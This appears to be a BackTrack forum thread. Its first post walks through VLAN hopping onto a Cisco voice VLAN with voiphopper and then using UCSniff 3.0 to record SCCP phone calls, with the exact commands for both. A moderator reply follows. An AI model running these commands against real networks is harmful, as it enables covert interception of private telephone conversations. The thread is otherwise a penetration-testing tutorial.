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Thread: BT4 + EEE 701 + VLAN Hopping + UCSniff 3.0

  1. #1
    Just burned his ISO
    Join Date
    Jan 2010
    Posts
    4

    Default BT4 + EEE 701 + VLAN Hopping + UCSniff 3.0

    Hey guys,

    First time posting here.

    UCSniff 3.0 was released today, ahead of schedule. I had been hanging out for this for the --garpdb option to disable GARP when sniffing Cisco SCCP packets.

    I have written up a small how-to using voiphopper + ucsniff on my EEE 701. I have written this on my blog (nothing fancy), hope its ok to link here.

    x90 Blog

    Thanks.

    //edit full howto

    Create persistent BT4 on USB
    Followed the directions outlined here:



    VLAN Support + VLAN Hopping
    Firstly modprobe to enable VLAN tagging in the environment

    Code:
    modprobe 8021q
    Connect to a cisco switchport with a similar switch config

    Code:
    switchport mode access
    switchport access vlan 10
    switchport voice vlan 20
    Try VLAN hopping with voiphopper

    Code:
    voiphopper -i eth0 -c 0
    Download and compile UCSniff 3.0
    Download UCSniff here:



    Compiling

    Code:
    tar zxvf ucsniff-3.01.tar.gz
    cd ucsniff-3.01
    ./configure
    make
    make install
    MiTM SCCP
    To record all SCCP conversations on the voice VLAN

    Code:
    ucsniff -i eth0.20 --garpdb // //
    Or to target a particular IP phone, without enumerating the targets on the voice VLAN first

    Code:
    ucsniff -i eth0.20 --garpdb /XXXX.XXXX.XXXX.XXXX/ //
    Finally play back the file from the commandline

    Code:
    play filename.mp3

  2. #2
    Super Moderator Archangel-Amael's Avatar
    Join Date
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    Default

    Welcome to the forums.
    It would be nice, maybe better if you were to make a copy of the tutorial here for others to read.

    EDIT: Much better ecks90. Fixed the links for you too.
    To be successful here you should read all of the following.
    ForumRules
    ForumFAQ
    If you are new to Back|Track
    Back|Track Wiki
    Failure to do so will probably get your threads deleted or worse.

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